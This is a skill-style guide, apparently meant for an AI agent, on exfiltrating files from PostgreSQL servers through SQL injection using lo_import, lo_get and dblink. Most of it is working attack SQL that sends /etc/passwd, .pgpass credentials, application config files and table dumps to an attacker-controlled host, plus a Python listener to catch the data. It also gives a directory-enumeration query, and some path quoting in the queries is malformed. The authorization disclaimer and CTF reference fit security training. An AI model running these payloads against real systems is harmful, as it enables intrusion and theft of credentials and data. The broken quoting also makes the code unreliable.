PostgreSQL dblink/lo_import Data Exfiltration

This skill covers advanced PostgreSQL data exfiltration techniques using

dblink

lo_import

⚠️ Authorization Required

Only use these techniques on systems you own or have explicit written permission to test. Unauthorized use is illegal and unethical.

Overview

PostgreSQL provides several functions that can be exploited during SQL injection to read arbitrary files from the database server:

• lo_import()

  - Imports a file into the database as a large object and returns its OID

• dblink()

  - Executes queries on remote databases and returns results

• lo_get()

  - Retrieves data from a large object by OID

Technique 1: lo_import + dblink Exfiltration

How it works

1. Use

   lo_import()

   to load a file into PostgreSQL's large object storage
2. Use

   dblink()

   to query the large object data and send it to an external server
3. The attacker's server receives the exfiltrated data

Basic Pattern

-- Step 1: Import file into large object storage
SELECT lo_import('/path/to/target/file.txt');
-- Returns: OID (e.g., 12345)

-- Step 2: Exfiltrate via dblink to attacker's server
SELECT dblink('host=attacker.com port=5432 dbname=test user=postgres password=pass',
  'SELECT lo_get(12345)') AS result;

One-liner for SQL Injection

SELECT dblink('host=attacker.com port=5432 dbname=test user=postgres password=pass',
  'SELECT lo_get(lo_import(''/'path/to/file''))') AS result;

Technique 2: dblink_connect for Persistent Access

Establish Connection

SELECT dblink_connect('myalias', 'host=attacker.com port=5432 dbname=test user=postgres password=pass');

Query Through Connection

SELECT * FROM dblink('myalias', 'SELECT lo_get(lo_import(''/'etc/passwd''))') AS (data text);

Close Connection

SELECT dblink_disconnect('myalias');

Practical Examples

Example 1: Read /etc/passwd

SELECT dblink('host=10.0.0.1 port=5432 dbname=postgres user=postgres password=postgres',
  'SELECT lo_get(lo_import(''/'etc/passwd''))') AS exfil;

Example 2: Read Database Credentials File

SELECT dblink('host=attacker.com port=5432 dbname=test user=test password=test',
  'SELECT lo_get(lo_import(''/'var/lib/postgresql/.pgpass''))') AS creds;

Example 3: Read Application Config

SELECT dblink('host=attacker.com port=5432 dbname=test user=test password=test',
  'SELECT lo_get(lo_import(''/'var/www/html/config.php''))') AS config;

Setting Up the Attacker Server

You need a PostgreSQL server listening to receive the exfiltrated data:

# Start PostgreSQL server
pg_ctl -D /var/lib/postgresql/data start

# Or use a simple listener script
python3 -c "
import socket
s = socket.socket()
s.bind(('0.0.0.0', 5432))
s.listen(1)
conn, addr = s.accept()
print('Connection from:', addr)
data = conn.recv(4096)
print('Received:', data.decode())
conn.close()
"

Error Handling and Debugging

Common Errors

permission denied

file does not exist

connection refused

dblink not available

dblink

Check dblink Availability

SELECT * FROM pg_extension WHERE extname = 'dblink';

Check File Permissions

-- Try to import a known file
SELECT lo_import('/tmp/test.txt');

CTF Challenge: fbctf2019/hr-admin-module

This technique was used to solve the fbctf2019 HR Admin Module challenge. The solution involved:

1. Finding SQL injection point in the application
2. Using

   lo_import()

   to load sensitive files
3. Using

   dblink()

   to exfiltrate data to an external server
4. Extracting credentials and accessing the admin panel

Reference: https://github.com/PDKT-Team/ctf/blob/master/fbctf2019/hr-admin-module/README.md

Alternative Exfiltration Methods

If dblink/lo_import doesn't work, try:

pg_read_binary_file

SELECT pg_read_binary_file('/path/to/file');

copy_to with dblink

SELECT dblink('host=attacker.com port=5432 dbname=test user=test password=test',
  'COPY (SELECT * FROM sensitive_table) TO ''/tmp/exfil.csv''') AS result;

pg_ls_dir for Directory Enumeration

SELECT * FROM pg_ls_dir('/var/www/html/');

Best Practices

1. Always have authorization - Only test systems you own or have permission to test
2. Document your findings - Keep records of vulnerabilities discovered
3. Minimize impact - Don't exfiltrate more data than necessary
4. Clean up - Remove any large objects created during testing
5. Report responsibly - Share findings with system owners

Cleanup

After testing, remove created large objects:

-- List large objects
SELECT * FROM pg_largeobject_metadata;

-- Delete specific large object
SELECT lo_unlink(12345);

When to Use This Skill

• CTF challenges involving PostgreSQL SQL injection
• Authorized penetration testing of PostgreSQL databases
• Security research and education
• Understanding PostgreSQL security vulnerabilities
• Bug bounty hunting on PostgreSQL applications

Related Skills

• SQL injection fundamentals
• PostgreSQL privilege escalation
• Database security assessment
• Web application penetration testing